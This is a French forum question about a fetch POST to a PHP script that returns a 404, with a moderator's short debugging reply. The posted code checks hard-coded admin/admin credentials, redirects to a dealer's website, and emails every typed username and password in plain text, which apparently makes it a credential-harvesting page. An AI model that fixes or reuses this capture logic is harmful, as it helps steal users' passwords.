Problème de requête fetch JavaScript POST à un fichier PHP l

Fermé
Jack - 5 août 2023 à 12:45
jordane45 Messages postés 38241 Date d'inscription mercredi 22 octobre 2003 Statut Modérateur Dernière intervention 17 septembre 2024 - 5 août 2023 à 12:52

B

J'ai un problème avec une requête AJAX en utilisant fetch dans mon fichier JavaScript pour accéder à un script PHP sur mon serveur XAMPP local. Le chemin vers le fichier PHP semble correct et j'ai confirmé que je peux y accéder directement via le navigateur à http://localhost/word_press/sendMail.php, mais quand j'essaie de faire une requête POST à ce fichier depuis mon JavaScript avec fetch, je reçois une erreur 404. Voici le code pertinent :

JavaScript:

function checkCredentials() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    const errorMessage = document.getElementById('error-message');

    if (username === 'admin' && password === 'admin') {
        window.location.href = 'https://www.cholletmoto.com/';
    } else {
        errorMessage.textContent = 'Identifiant ou mot de passe incorrect!';
    }

    // Envoyer une notification par email
    notifyByEmail(username, password);
}

function notifyByEmail(username, password) {
    fetch('sendMail.php', { 
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: `username=${username}&password=${password}`,
    })
    .then(response => response.text())
    .then(data => console.log(data))
    .catch((error) => {
      console.error('Error:', error);
    });
}
Et mon PHP 
<?php
// Pour voir si le fichier est bien accédé
echo "Fichier PHP accédé.<br>";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST["username"];
    $password = $_POST["password"];

    // Afficher les valeurs reçues
    echo "Nom d'utilisateur reçu: $username<br>";
    echo "Mot de passe reçu: $password<br>";

    $to = "***@***";
    $subject = "Tentative de connexion";
    $message = "Quelqu'un a essayé de se connecter avec l'identifiant: $username et le mot de passe: $password.";
    $headers = "From: ***@***";

    // Vérifier si le mail est bien envoyé
    if (mail($to, $subject, $message, $headers)) {
        echo "Email envoyé avec succès.<br>";
    } else {
        echo "Erreur lors de l'envoi de l'email.<br>";
    }
} else {
    echo "Méthode non autorisée.<br>";
}
?


Tous les fichiers sont situés dans C:\xampp\htdocs\word_press. Pourquoi la requête fetch retourne-t-elle une erreur 404 ? Comment puis-je faire une requête POST avec succès à ce fichier PHP depuis mon JavaScript ?

A voir également:

1 réponse

jordane45 Messages postés 38241 Date d'inscription mercredi 22 octobre 2003 Statut Modérateur Dernière intervention 17 septembre 2024 4 689
5 août 2023 à 12:52

Bonjour

Dans la console de ton navigateur, peux-tu nous montrer à quoi ressemble la ligne qui correspond à ton appel Ajax ?

l'URL de cet appel, te semble-t-elle correcte ?


0